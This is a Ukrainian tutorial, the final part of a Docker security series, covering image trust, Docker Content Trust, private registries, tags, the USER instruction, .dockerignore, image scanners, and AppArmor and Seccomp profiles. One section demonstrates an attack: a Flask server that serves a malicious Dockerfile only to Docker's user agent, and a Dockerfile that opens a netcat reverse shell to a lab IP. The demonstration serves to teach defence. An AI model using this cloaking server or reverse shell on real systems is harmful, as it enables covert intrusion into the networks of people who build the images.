Безпека Docker – Безпека контейнерів (Частина 5)

19 травня 2024 5 хвилин Автор: D2-R2

Це п’ята і остання частина статті про безпеку Docker. У цій частині ми зосередимося на забезпеченні безпеки Docker контейнерів, розглянемо найкращі практики та інструменти для захисту ваших контейнерів від вразливостей та атак. Дізнайтеся, як ефективно використовувати існуючі засоби безпеки для підтримки стабільної та захищеної роботи ваших додатків у контейнерах.

Безпека контейнерів

Тепер настав час обговорити кілька основних, але також складних питань, пов’язаних із безпекою та налаштуванням контейнерів. Давайте почнемо з чогось дійсно базового.

Вибір правильного зображення

Використання офіційних чи надійних образів Docker має вирішальне значення для забезпечення безпеки програм і даних. Офіційні зображення перевіряються на якість і безпеку, що мінімізує ризик вмісту зловмисного програмного забезпечення або вразливості системи безпеки. Надійні компанії регулярно оновлюють свої зображення, виправляючи відомі помилки та прогалини в безпеці. В результаті системи захищені від останніх загроз.

На відміну від надійних образів, неперевірені образи Docker можуть містити небезпечне або шкідливе програмне забезпечення. Немає жодної гарантії, що вони були належним чином протестовані та схвалені на безпеку. Використовуючи такі зображення, користувачі піддають свої системи різним типам атак, включаючи атаки програм-вимагачів, які можуть шифрувати дані та вимагати викуп за їх дешифрування, а також атаки типу «людина посередині», які включають перехоплення та маніпулювання спілкування між двома сторонами.

Як перевірити, чи є зображення «офіційним»? Під час використання DockerHub ми отримуємо графічну інформацію про те, чи є вибране зображення офіційним, тобто опублікованим і перевіреним командою Docker.

Малюнок 78. Піктограма Docker Offical Image у Docker Hub.

Чому вибір захищеного образу такий важливий? Були і, безсумнівно, будуть ситуації, коли зображення Docker використовувалися як канал розповсюдження шкідливого програмного забезпечення. Приклади таких ситуацій можна знайти за посиланнями нижче:

Коротше кажучи, які елементи містили ці шкідливі зображення? До них належать, серед іншого, майнери криптовалюти або програмне забезпечення, яке викрадає облікові дані, наприклад, із змінних середовища. Інші приклади включають використання контейнера, запущеного на основі шкідливого образу, як свого роду троянського коня, що дозволяє зловмиснику отримати несанкціонований доступ до нашої внутрішньої мережі.

Docker Content Trust (DCT)

Docker Content Trust (DCT) — це функція безпеки в Docker, яка дозволяє перевірити цілісність і походження зображень Docker. DCT використовує цифрові підписи, щоб гарантувати, що образи Docker, які ви використовуєте, не були змінені з моменту їх створення. Іншими словами, це допомагає процесу перевірки автентичності та цілісності зображень.

За замовчуванням DCT неактивний. Щоб активувати цей механізм, ми повинні встановити DOCKER_CONTENT_TRUSTзначення змінної середовища 1в конфігурації хоста Docker. Якщо ми хочемо, щоб DCT був активним весь час, нам слід визначити цю змінну середовища у таких файлах, як .bashrc.zshrc, або в іншому, відповідному для оболонки, яку ми використовуємо.

Відтепер такі команди Docker CLI:

  • push,

  • build,

  • create,

  • pull,

  • run,

буде використовувати DCT. Що це означає на практиці? Якщо ми спробуємо завантажити зображення з вибраного репозиторію за допомогою docker pullкоманди (наприклад, з Docker Hub), ця операція буде успішною, лише якщо вибране зображення буде підписано. Давайте перевіримо це на прикладі (мал. 79, лістинг 50).

export DOCKER_CONTENT_TRUST=1
env | grep DOCKER
docker pull ubuntu:23.04
docker pull ubuntubase/debianbase:12

Лістинг 50. Перевірка роботи DCT.

Малюнок 79. Конфігурація DCT.

На першому кроці завантажуємо офіційний підписаний образ Ubuntu з тегом 23.04. Все працювало бездоганно. Тоді  обираємо із сховища зображення, яке не здавалося надійним, і спробував його завантажити. Клієнт Docker повернув помилку, повідомивши мене, що він не може знайти підпис для цього конкретного зображення. Це крок у правильному напрямку!

Звичайно, важливо пам’ятати, що в деяких випадках неможливість завантажити непідписане зображення може бути для нас небажаним явищем. Але ми говоримо про загартовування!

Звичайно, Docker Content Trust також працює, коли ми хочемо підписати зображення, яке ми публікуємо. Детальні інструкції щодо налаштування клієнта, щоб ми могли підписувати зображення, можна знайти за цим посиланням.

Використання власних зображень

Замість того, щоб повністю покладатися на загальнодоступний Docker Hub, набагато краще використовувати власне сховище зображень. Звичайно, ми можемо використовувати готові рішення, такі як Azure Container Registry або Google Artifact Registry , але ми також можемо без проблем налаштувати власний репозиторій.

Запуск власного репозиторію зображень для цілей тестування — це питання лише кількох команд. Відповідно до платформи Docker ми запускаємо репозиторій з образу (лістинг 51).

docker run -d -p 5000:5000 --restart=always --name registry registry:2

Лістинг 51. Запуск локального реєстру.

І це все. У нас є запущене сховище зображень, хоча й у дуже базовій конфігурації, яке, наприклад, не вимагає жодної форми автентифікації (Малюнок 80).

Малюнок 80. Запуск Docker Registry.

Чудово! У нас уже є власне сховище, де ми можемо зберігати створені зображення. Таким чином вони будуть ізольовані, наприклад, від Docker Hub.

Підхід до використання нашого власного приватного сховища (не обов’язково розміщеного у нашій власній інфраструктурі, але над яким ми маємо контроль) також має ту перевагу, що ми можемо постійно контролювати безпеку зображень і реагувати на будь-які виявлені потенційні загрози.

УВАГА! Поточна конфігурація реєстру Docker практично не забезпечує рівня автентифікації. Тому ми не можемо використовувати його у виробничому середовищі. Однак за замовчуванням існує кілька способів примусової автентифікації. Більше інформації на цю тему можна знайти в документації .

Збірка Docker і URL

Вам слід уникати конструкцій, які припускають, що Dockerfile витягується з віддаленого ресурсу, над яким ви не маєте контролю. Наприклад, можна запустити процес створення образу за допомогою наступної команди з лістингу 52.

docker build http://random-server/Dockerfile

Лістинг 52. Приклад запуску docker buildз URL.

На жаль, людина, яка контролює будь-який сервер, може скинути нам шкідливий файл Docker, навіть якщо на перший погляд все в порядку. Давайте перевіримо це на прикладі. Проста програму на Python, використовуючи фреймворк Flask (лістинг 53).

from flask import Flask, request
app = Flask(__name__)

@app.route('/Dockerfile', methods=['GET'])
def headers():
    headers = request.headers
    if "Go-http-client" in headers['User-Agent']:
      response = open('EvilDockerfile').read()
    else:
      response = open('Dockerfile').read()
    return response

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5001)

Лістинг 53. Приклад програми на основі Python3 і Flask.

Його завдання дуже просте. Якщо ми зробимо запит до кінцевої точки /Dockerfile, наприклад, використовуючи стандартний браузер, такий як Chrome або Firefox (або навіть команду curl), програма поверне вміст, Dockerfileрозташований на диску сервера. Однак, якщо User-Agentв запиті з’являється заголовок, що містить рядок Go-http-client, буде повернуто вміст іншого файлу, а саме EvilDockerfile. Давайте подивимося, чим ці файли відрізняються (лістинг 54, лістинг 55).

FROM ubuntu:22.04
RUN useradd -r testuser
USER testuser

Лістинг 54. Dockerfile.

FROM ubuntu:22.04
RUN apt-get update && apt-get install -y netcat-traditional
CMD ["/usr/bin/nc.traditional", "172.16.169.186", "4444", "-e", "/bin/sh"

Лістинг 55. EvilDockerfile.

Перший Dockerfileздається нешкідливим. Однак другий містить інструкції, які створюють так звану «зворотну оболонку». Кожен, хто створює контейнер на основі цього Dockerfile (зокрема, EvilDockerfile), а потім запускає його, дозволяє зловмиснику отримати доступ до контейнера. Це, у свою чергу, означає доступ до внутрішньої мережі, з якої зловмисник може продовжувати свою діяльність.

Тепер давайте спробуємо запустити додаток і подивимося, як воно працює на практиці. Якщо ви раніше не встановлювали Flask, ви можете зробити це, виконавши команду apt install python3-flask. Крім того, на сервері з адресою 172.16.169.186, в третій консолі ми увійдемо і запустимо netcatв режимі прослуховування. Очікується очікування з’єднання зворотного виклику від шкідливого контейнера ( nc -nlvp 4444).

В одній консолі ми запустимо програму (за допомогою python3 app.pyкоманди), а в іншій ми спробуємо завантажити файл із кінцевої точки, наданої програмою (за допомогою команди curl http://172.16.169.183:5001/Dockerfile).

Малюнок 81. Завантаження Dockerfile

Як бачите, перша спроба завантажити Dockerfileповертає «нешкідливу» версію. Ми можемо досягти такого ж ефекту, відвідавши вказану адресу з будь-якого веб-браузера. Тепер давайте спробуємо надіслати запит до кінцевої точки із User-Agentзначенням заголовка, ідентичним тому, яке використовує docker buildінструмент (Малюнок 82).

Малюнок 82. Завантаження шкідливої ​​версії Dockerfile.

Здається, наш додаток працює правильно. Настав час останнього тесту. Біжимо docker build(малюнок 83)

Малюнок 83. Запуск збірки Docker.

Як тільки процес буде завершено, ми можемо спробувати запустити контейнер на основі створеного образу (Малюнок 84).

Малюнок 84. Запуск шкідливого контейнера та встановлення зворотного сеансу оболонки.

Бум! Як тільки ми запустили образ на нашому віддаленому сервері, з’єднання було встановлено! Відтепер у нас контроль над контейнером.

Приклад, який ми представимо передбачає роботу у внутрішній мережі. Тим не менш, ніщо не заважає нам використовувати IP-адресу будь-якої машини в Інтернеті (з загальнодоступною IP-адресою) як адресу сервера, до якого має бути встановлено зворотне з’єднання оболонки.

Тег «останній».

Усі зображення в середовищі Docker повинні мати власний тег . Якщо ми не вкажемо чітко, який тег ми хочемо використовувати, Docker за умовчанням використовуватиме тег latest. Однак це практика, яка може мати свої наслідки, особливо з точки зору безпеки. На практиці варто перевірити, як працює та що це тег. Для цього ми скористаємося репозиторієм зображень, який мить тому створили.

Поширеною помилкою, яка є наслідком неправильного розуміння тегу latest, є припущення (за його назвою), що latestвказує на останню версію програмного забезпечення. Наприклад, у репозиторії Ubuntu, що містить 23.04і 22.04зображення, часто припускають, що latestвказує на перше. Це може бути правдою, але це не обов’язково так. За певних умов він може бути іншим.

Ми проведемо експеримент, який передбачає додавання двох зображень Docker до репозиторію, зокрема ubuntu:23.04та ubuntu:22.04. Ці зображення вже є на диску (мал. 85).

Малюнок 85. Зображення, що зберігаються на локальному диску.

Час для фактичної вправи (лістинг 56).

docker tag ubuntu:23.04 localhost:5000/ubuntu
docker push localhost:5000/ubuntu:23.04

docker tag ubuntu:22.04 localhost:5000/ubuntu
docker push localhost:5000/ubuntu:22.04
docker tag ubuntu:22.04 localhost:5000/ubuntu
docker push localhost:5000/ubuntu:latest

Лістинг 56. Додавання тегів до локальних зображень і надсилання їх до локального сховища.

Малюнок 86. Позначення та надсилання зображень до реєстру.
Малюнок 87. Позначення та надсилання зображень до реєстру.

Давайте тепер спробуємо завантажити зображення з репозиторію Docker.

Малюнок 88. Вилучення «останнього» зображення зі сховища.

Як видно (Малюнок 88), завантажене зображення (остання позиція у виділеному полі) є версією 22.04, а не «останньою» версією, доступною в сховищі, яка є 23.04.

Пам’ятайте, що latestце ще один тег. Це може вказувати найновішу версію програмного забезпечення, але це не обов’язково. Остаточне рішення з цього питання повністю залежить від особи, яка додає зображення до сховища.

Підсумовуючи, уникнення latestтегів у Docker допомагає підвищити стабільність, послідовність і безпеку контейнерних програм. Завжди рекомендується використовувати спеціальні теги, щоб бути впевненим щодо версії зображення, що використовується в певному середовищі.

Тег latestу Docker стосується найновішого зображення, доданого до репозиторію, не обов’язково останньої версії програмного забезпечення. Це означає, що якщо хтось надсилає ( push) старішу версію програмного забезпечення до репозиторію Docker і позначає її як latest, користувачі, які завантажують зображення з latestтегом, отримають цю старішу версію, а не останню версію програмного забезпечення.

Уникайте використання latestтегу.

Команда USER

За замовчуванням операції, визначені у Dockerfile, виконуються від імені rootкористувача (з дозволами користувача root). Використання USERінструкції в Dockerfile дозволяє змінити цю поведінку, обмеживши привілеї процесів, запущених у контейнері, що є вигідним з точки зору безпеки. Наприклад, якщо у вас є програма, для належної роботи якої не потрібні права root, ви можете скористатися інструкцією, USERщоб змінити користувача на менш привілейованого. Така практика може допомогти захистити систему від потенційних атак.

Давайте спробуємо створити власний приклад a, Dockerfileу якому ми будемо використовувати інструкцію USER (лістинг 57).

FROM ubuntu:22.04
RUN useradd -r testuser
USER testuser

Лістинг 57. Приклад файлу Docker з використанням інструкції USER.

Увага! Не рекомендується явно визначати UID (наприклад, за допомогою перемикача -u 1001). Це може спричинити проблеми з операціями контейнера та запущеними на ньому програмами, особливо під час запуску зображення на платформі Openshift, наприклад.

Запуск образу вимагає виконання кількох команд (лістинг 58, малюнок 89).

# Commands to be executed in the context of the Docker Host
docker build -t ubuntu-testuser .
docker run -it --rm ubuntu-testuser bash

# Commands to be executed in the context of container
id
head -n 1 /etc/shadow

Лістинг 58. Запуск нового контейнера.

Малюнок 89. Запуск контейнера зі створеного образу.

Все добре. За замовчуванням ми працюємо з testuser, який має обмежені дозволи! Це, безперечно, практика, яку варто пам’ятати.

Примусовий UID

На жаль, описане вище рішення можна легко обійти. Вам просто потрібно додати параметр -u 0під час запуску контейнера, що дозволить нам повернутися до роботи як rootкористувач (лістинг 59, малюнок 90).

docker run -it --rm -u 0 ubuntu-testuser bash

Лістинг 59. Запуск контейнера з параметром -u 0.

Малюнок 90. Доступ до контейнера з привілеями користувача root.

Це питання буде розглянуто в частині статті, присвяченій AppArmor.

.Dockerignore

У нас було кілька випадків побудови власного іміджу. На цьому етапі варто обговорити практики, які  часто спостерігаються в посібниках із «докеризації» (контейнеризації) програм. Там зазвичай обговорюються стандартні інструкції, такі як FROMWORKDIR, або навіть представлена ​​раніше команда . USERОднак на певному етапі представлено спосіб перенесення файлів програми в образ (в контейнер). У багатьох випадках  спостерігалася структура з лістингу 60.

COPY . .

Лістинг 60. Приклад команди COPY.

Команда COPY . .копіює всі файли та каталоги з каталогу, де знаходиться Dockerfile, до зображення. Перший аргумент ( .) означає «всі файли та каталоги в поточному каталозі», а другий аргумент ( .) означає «робочий каталог в образі Docker». Тут важливо звернути увагу на фразу «всі файли та каталоги» — і вона означає буквально всі. Навіть файли, які не слід передавати в образ, наприклад файли типу .cacheабо node_modules, або файли, які не повинні бути там через їхній вміст, також передаються. Наприклад, це можуть бути файли, що містять облікові дані або інші конфіденційні дані. Як ми можемо вирішити цю проблему?

Файл .dockerignoreвикористовується для виключення файлів і каталогів із процесу створення образу Docker. Файл .dockerignoreпрацює подібно до .gitignoreфайлу в системі керування версіями Git. Він дозволяє вказати шаблони, які будуть виключені з образу, що будується.

Зразок файлу .dockerignore може виглядати як лістинг 61.

# ignore node_modules folder
node_modules/

# ignore test folder
/test

# ignore files .gitignore and .env
.gitignore
.env

# ignore all markdown files
*.md

Лістинг 61. Зразок .dockerignore.

Нам потрібно розмістити його в тому ж каталозі, що й наш Dockerfile.

Автоматичне сканування зображень

У попередній частині тексту ми познайомилися з такими інструментами, як Lynis або Docker Bench for Security, які дозволили нам автоматизувати перевірку рівня безпеки Docker Host і Docker Daemon. Однак, коли справа стосується безпеки Docker, ми не можемо забувати про безпеку самих зображень. На щастя, і в цій області вже є готові інструменти, за допомогою яких ми можемо автоматизувати процес аналізу вразливостей. Один із них – Триві.

Trivy

Trivy — це інструмент, який може автоматично сканувати такі ресурси на наявність вразливостей у безпеці:

  • Зображення контейнерів,

  • файлові системи,

  • сховища Git,

  • Зображення віртуальних машин,

  • Кластери Kubernetes,

  • Середовища AWS.

Ми можемо завантажити та запустити Trivy як контейнер (лістинг 62).

docker pull aquasec/trivy:0.45.1

Лістинг 62. Завантаження зображення Trivy.

Для запуску сканування вибраного зображення, у цьому випадку ubuntu:22.04, потрібно ввести таку команду з лістингу 63 (Малюнок 91):

docker run -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy:0.45.1 image ubuntu:22.04

Лістинг 63. Запуск сканування Trivy.

Малюнок 91. Запуск сканування за допомогою Trivy.

Через кілька секунд Trivy повертає результат у вигляді таблиці зі списком виявлених аномалій (Малюнок 92).

Малюнок 92. Результат сканування Trivy – таблиця зі списком вразливостей.

Для нашого тестового зображення ubuntu:22.04ми визначили дві вразливості високого ризику, шість уразливостей середнього ризику та п’ятнадцять проблем, класифікованих як загрози низького ризику.

Кожна вразливість супроводжується посиланням, наприклад, https://avd.aquasec.com/nvd/cve-2022-3715 , де можна знайти подробиці про вразливість. Важливо, що також надаються рекомендації щодо пом’якшення.

Докер-скаут

Безумовно, варто також розглянути інструмент Docker Scout tool. Цей вдосконалений інструмент може сканувати зображення та надавати рекомендації щодо дій, які необхідно вжити для усунення вибраних загроз.

Docker Scout можна керувати через консоль, але він також має зручний графічний інтерфейс користувача . Цим інтерфейсом можна керувати з Docker Desktop, перейшовши на вкладку «Зображення». Потім ми вибираємо зображення, яке нас цікавить, і, нарешті, натискаємо на вкладку Вразливості.

Наприклад, завантаживши старішу версію образу Ubuntu за допомогою команди docker pull ubuntu:groovy-20200609. Через кілька секунд Скаут запропонував уразливості, які зустрічаються на цьому зображенні (Малюнок 93).

Малюнок 93. Результати Docker Scout.

Подібного ефекту можна досягти, видавши docker scout cves ubuntu:groovy-20200609команду з консолі (мал. 94).

Малюнок 94. Запуск Docker Scout з консолі.

Інші інструменти, які  рекомендуємо до вашої уваги:

  • clair – https://github.com/quay/clair

  • InSpect – https://docs.chef.io/inspec/

  • notary – https://github.com/notaryproject/notary

  • snyk – https://snyk.io/partners/docker/

Пам’ятайте, що повністю покладатися на автоматичні рішення не варто. Перевірка безпеки вручну також може дати цікаві результати. Особливо важливо відзначити, що існують способи «сховатися» від сканерів.

AppArmor

AppArmor (Application Armor) — це інструмент безпеки, який використовується для обмежяення можливостей програм і процесів. Це допомагає запобігти атакам і успішним спробам використання вразливостей. AppArmor дозволяє операційній системі обмежувати дії певної програми – що вона може робити, які ресурси вона може використовувати та які файли чи каталоги вона може читати чи записувати.

AppArmor часто використовується для посилення безпеки контейнерів Docker. Під час запуску контейнера йому можна призначити профіль AppArmor. Цей профіль визначає набір правил і обмежень, які визначають, які операції дозволені, а які заборонені для процесів, що виконуються в контейнері.

AppArmor є прикладом механізму обов’язкового контролю доступу (MAC) у системі Linux. Незважаючи на те, що Linux зазвичай покладається на модель дискреційного контролю доступу (DAC), такі інструменти, як AppArmor, дозволяють запровадити додаткові, більш детальні та суворі правила безпеки, які не можуть бути змінені звичайними користувачами. SELinux є ще одним прикладом механізму, заснованого на концепції MAC.

Можливо, ви навіть не чули про AppArmor раніше, але Docker за умовчанням використовує політику AppArmor за замовчуванням. Це означає, що під час запуску контейнера docker-defaultпрофіль завантажується.

Ми спробуємо підготувати, а потім змінити приклад політики AppArmor на основі прикладу, наданого Docker для сервера nginx(лістинг 64). Приклад можна знайти тут.

#include <tunables/global>


profile docker-nginx flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>

  network inet tcp,
  network inet udp,
  network inet icmp,

  deny network raw,

  deny network packet,

  file,
  umount,

  deny /bin/** wl,
  deny /boot/** wl,
  deny /dev/** wl,
  deny /etc/** wl,
  deny /home/** wl,
  deny /lib/** wl,
  deny /lib64/** wl,
  deny /media/** wl,
  deny /mnt/** wl,
  deny /opt/** wl,
  deny /proc/** wl,
  deny /root/** wl,
  deny /sbin/** wl,
  deny /srv/** wl,
  deny /tmp/** wl,
  deny /sys/** wl,
  deny /usr/** wl,

  audit /** w,

  /var/run/nginx.pid w,

  /usr/sbin/nginx ix,

  deny /bin/dash mrwklx,
  deny /bin/sh mrwklx,
  deny /usr/bin/top mrwklx,


  capability chown,
  capability dac_override,
  capability setuid,
  capability setgid,
  capability net_bind_service,

  deny @{PROC}/* w,   # deny write for all files directly in /proc (not in a subdir)
  # deny write to files not in /proc/<number>/** or /proc/sys/**
  deny @{PROC}/{[^1-9],[^1-9][^0-9],[^1-9s][^0-9y][^0-9s],[^1-9][^0-9][^0-9][^0-9]*}/** w,
  deny @{PROC}/sys/[^k]** w,  # deny /proc/sys except /proc/sys/k* (effectively /proc/sys/kernel)
  deny @{PROC}/sys/kernel/{?,??,[^s][^h][^m]**} w,  # deny everything except shm* in /proc/sys/kernel/
  deny @{PROC}/sysrq-trigger rwklx,
  deny @{PROC}/mem rwklx,
  deny @{PROC}/kmem rwklx,
  deny @{PROC}/kcore rwklx,

  deny mount,

  deny /sys/[^f]*/** wklx,
  deny /sys/f[^s]*/** wklx,
  deny /sys/fs/[^c]*/** wklx,
  deny /sys/fs/c[^g]*/** wklx,
  deny /sys/fs/cg[^r]*/** wklx,
  deny /sys/firmware/** rwklx,
  deny /sys/kernel/security/** rwklx,
}

Лістинг 64. Приклад політики AppArmor.

Що тут відбувається? Така політика AppArmor:

  1. Дозволяє контейнеру docker-nginx встановлювати мережеві з’єднання за допомогою протоколів TCP, UDP.

  2. Запобігає мережевим підключенням через необроблений сокет.

  3. Контейнер має загальний доступ до файлів з певними винятками.

  4. Забороняє доступ до багатьох системних каталогів, зокрема /bin/boot/devтощо, щоб запобігти неавторизованому доступу чи модифікаціям.

  5. Контролює доступ до запису для всіх файлів, перевіряючи кожну спробу запису.

  6. Дозволяє писати в /var/run/nginx.pid.

  7. Дозволяє виконувати /usr/sbin/nginx.

  8. Блокує можливість виконувати та змінювати /bin/dash/bin/shта /usr/bin/top.

  9. Надає контейнеру вибрані дозволи, наприклад chowndac_overridesetuidsetgidта net_bind_service.

  10. Запобігає запису в /procкаталозі, за винятком певних шляхів.

  11. Запобігає монтуванню файлових систем усередині контейнера.

  12. Обмежує доступ до каталогів у /sys, підвищуючи безпеку системи від несанкціонованого доступу та змін.

Давайте подивимося, як це працює на практиці.

Зберігаємо політику у файлі, наприклад /etc/apparmor.d/containers/docker-nginx. Потім запускаємо програму, яка завантажує визначену політику, тобто виконуємо команду: sudo apparmor_parser -r -W /etc/apparmor.d/containers/docker-nginx. Все, що залишилося, це запустити контейнер (лістинг 65).

docker run --security-opt "apparmor=docker-nginx" -p 80:80 -d --name apparmor-nginx nginx

Лістинг 65. Запуск контейнера із застосуванням профілю AppArmor.

Малюнок 95: Перевірка роботи AppArmor.

Здається, незважаючи на нав’язану політику, nginxпрацює правильно. Тепер внесемо модифікацію, яка заборонить nginxпроцесу працювати з даними з /usr/share/nginx/каталогу. Це ресурс, з якого nginxподаються файли. Ми зробимо це, додавши до файлу рядок із лістингу 66 (малюнок 96).

deny /usr/share/nginx/** rwklx,

Лістинг 66. Необхідно додати рядок до політики AppArmor.

Малюнок 96. Зміна політики AppArmor.

Час перезапустити контейнер Docker (лістинг 67).

docker stop apparmor-nginx
docker rm apparmor-nginx
sudo apparmor_parser -r -W /etc/apparmor.d/containers/docker-nginx
docker run --security-opt "apparmor=docker-nginx" -p 80:80 -d --name apparmor-nginx nginx
curl http://127.0.0.1/

Лістинг 67. Запуск контейнера зі зміненою політикою.

Малюнок 97. Ефект від зміни політики AppArmor.

Ми відразу бачимо різницю (мал. 97). Не вносячи змін у конфігурацію контейнера чи запущений на ньому сервер Nginx, ми заблокували доступ до каталогу /usr/share/nginx. Замість відображення вмісту файлу index.htmlNginx повертає повідомлення з інформацією про відмову в доступі. Все йде за планом!

Також варто звернути особливу увагу на ситуації в AppArmor, коли хтось вимкнув політику безпеки на запущеному контейнері, використовуючи конструкцію на зразок --security-opt=apparmor:unconfined.

Seccomp

Seccomp, також відомий як Secure Computing Mode, — це інструмент, який дозволяє обмежити набір системних викликів, які може використовувати процес. Це важливо з точки зору безпеки, оскільки суттєво зменшує поверхню атаки системи. Фільтруючи системні виклики та обмежуючи доступ до них, Seccomp може ефективно мінімізувати потенційні ризики, пов’язані з використанням вразливостей безпеки в програмах і операційних системах.

У контексті Docker Seccomp можна використовувати для підвищення безпеки контейнера. Docker за замовчуванням містить профіль Seccomp, який блокує кілька десятків із понад 300 доступних системних викликів, таким чином посилюючи безпеку хоста та контейнерів. Користувачі також мають можливість налаштовувати профілі Seccomp відповідно до своїх потреб, що дозволяє точно контролювати доступність окремих системних викликів для конкретних контейнерів. У результаті збільшується складність і гнучкість контролю безпеки, що дозволяє досягти балансу між захистом і продуктивністю програми.

Приклад політики Seccomp можна завантажити з репозиторію на GitHub . Вносячи до нього зміни відповідно до лістингу 68, ми можемо заблокувати можливість створювати нові каталоги в контейнері, до якого застосована така політика.

213d212
<        "mkdir",
826a826,832
>    },
>    {
>      "names": [
>        "mkdir"
>      ],
>      "action": "SCMP_ACT_ERRNO",
>      "errnoRet": 1337
829c835
< }
\ No newline at end of file
---
> }

Лістинг 68. Результат виконання команди «diff» для вихідного та зміненого файлів.

Після внесення змін у файл reynard.json ми можемо запустити контейнер (малюнок 98, лістинг 69).

wget -q https://github.com/moby/moby/raw/master/profiles/seccomp/default.json
cp default.json reynard.json
docker run -it  --security-opt seccomp=reynard.json --rm  ubuntu:22.04  bash

Лістинг 69. Запуск контейнера з новою політикою seccomp.

Малюнок 98. Зміна політики Seccomp за замовчуванням.

Подібно до AppArmor, Docker використовує вбудований профіль Seccomp за умовчанням.

SELinux

У цьому тексті ми не будемо обговорювати конфігурацію механізму SELinux, оскільки раніше обговорювали AppArmor. Теоретично SELinux і AppArmor можна встановити на одній системі, але зазвичай це не рекомендується через можливе ускладнення керування. Як правило, операційні системи та дистрибутиви Linux постачаються з одним із цих механізмів безпеки, увімкненим за замовчуванням, а інший або вимкнено, або не встановлено взагалі.

Остання частина головоломки – безпека додатків

Звичайно, це питання виходить за рамки цієї статті, але питання кібербезпеки становлять систему взаємопов’язаних судин.

Docker Desktop Security

Docker Desktop — це програма для операційних систем Windows і Mac. Це дозволяє користувачам легко керувати контейнерами Docker, у тому числі через графічний інтерфейс користувача (GUI). Це практичний інструмент, що містить усі необхідні функції для створення, тестування та розгортання контейнерних програм на локальному комп’ютері. Це ідеальне рішення для тих, хто вважає за краще уникати тривалої роботи в консолі.

Docker Desktop служить альтернативним інтерфейсом між користувачем і Docker Daemon. Тому всі наведені тут рекомендації також стосуються середовищ (наприклад, середовища розробки), які використовують Docker Desktop замість Docker CLI. Також варто підкреслити необхідність регулярного оновлення Docker Desktop до останньої доступної версії, щоб забезпечити оптимальну продуктивність і безпеку роботи.

Оновлення програмного забезпечення

Заради формальності також наголосимо на необхідності регулярного оновлення програмного забезпечення Docker. Можливо, це може бути те, що називається очевидним фактом, але це дозволяє усунути виявлені та виправлені вразливості.

Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.